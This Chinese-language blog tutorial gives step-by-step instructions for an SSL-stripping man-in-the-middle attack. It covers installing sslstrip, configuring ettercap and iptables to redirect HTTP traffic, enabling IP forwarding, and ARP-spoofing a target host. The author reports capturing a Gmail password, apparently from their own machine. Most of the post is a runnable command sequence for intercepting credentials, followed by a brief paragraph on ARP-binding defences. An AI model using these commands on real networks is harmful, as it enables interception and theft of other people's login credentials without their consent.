1. sslstrip

下载及安装方法 :wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz

tar zxvf sslstrip-0.9.tar.gz

cd sslstrip-0.9

sudo python ./setup.py install

 

2.arpspoof   bt5自带2.4版本

3.ettercap

步骤:

编辑 /etc/etter.conf文件 找到linux配置项

# if you use iptables:
#redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
#redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport

改成

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

然以root权限执行:   echo 1 > /proc/sys/net/ipv4/ip_forward  (开启IP转发)

继续 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 (将所有HTTP流量路由到所侦听的端口此处为10000)

参数讲解: -t:命令要操作匹配的表(net这个表表示被查询时遇到了新差生的连接包)

Net表有三个内建的链构成 PREROUTING(修改到来的包)、OUTPUT(修改路由之前本地的包)、POSTROUTING(修改准备出去的包)

-A表示在选择的链后加入更多选项

–p指被过滤包的协议

–destination-port 80指被过滤包的目的端口是80 ?-j REDIRECT –to-port 10000 将80端口的数据跳转到指定端口传输

 

然后我们使用sslstrip监听10000端口

sslstrip -l 10000

利用ettercap进行arp欺骗

前面的视频教程已经讲过ettercap的基本用法在此不赘述

ettercap –T –q –M arp:remote /192.168.1.101/ //

Ettercap默认就会过滤密码,我们也不需要指定过滤脚本

Ok开始测试

echo “1”>/proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000

sslstrip -l 10000

会在运行的当前目录生成sslstrip.log我们用ettercap不看这个也可以~~~

arp欺骗开始,我对我的物理机192.168.1.101进行攻击测试

ettercap –T –q –M arp:remote /192.168.1.101/ //

好的开始了,我登陆gmail看看 Ettercap成功截获到了gmail的密码~~~

?这里用ettercap密码非常方便就看到了也可以查看sslstrip的日志文件,也是保存了我们的密码

下面说下防御

Sslstrip的攻击方式是一种中间人攻击,需要进行arp欺骗,所以在设置好浏览器本身安全的基础上,要绑定mac和ip等在网关和本机双向绑定,或者启用arp防火墙对arp攻击进行防御。。。

 

转载文章请注明,转载自:小马's Blog https://www.i0day.com

本文链接: https://www.i0day.com/1238.html